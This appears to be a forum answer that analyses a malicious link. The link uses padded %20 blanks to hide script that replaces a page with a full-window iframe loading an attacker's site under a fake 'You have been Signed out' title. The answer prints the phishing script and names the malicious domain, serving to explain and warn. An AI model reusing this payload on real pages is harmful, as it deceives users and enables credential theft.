 <p>The script cannot work, because google is sending the <code>x-frame-options = deny</code> (it is upon the browser to respect this header), but the intention of the link seems like this:</p> <ul> <li>The <code>%20</code> are blanks, this way one hopes to hide the content of the URL, because the following content could be out of the visible area.</li> <li>The script itself tries to put the valid page into a (probably invisible) frame using the whole window. Whatever you click on this page, can be intercepted by the malicious page.</li> </ul> <p>Maybe someone wants to analyse the frame, but it should be done with care, the malicious domain is bluevoicepgh.</p> <pre><code>window.document.title = "You have been Signed out"; try { (function() { var link = window.document.createElement('link'); link.type = 'image/x-icon'; link.rel = 'shortcut icon'; link.href = ''; document.getElementsByTagName('head')[0].appendChild(link) }()) } catch (e) {} window.document.body.outerHTML = "&lt;iframe src=\"http://!!maliciousdomain!!.club/wp-content/\" style=\"border: 0;width: 100%;height:100%\"&gt;&lt;/iframe&gt;"; </code></pre>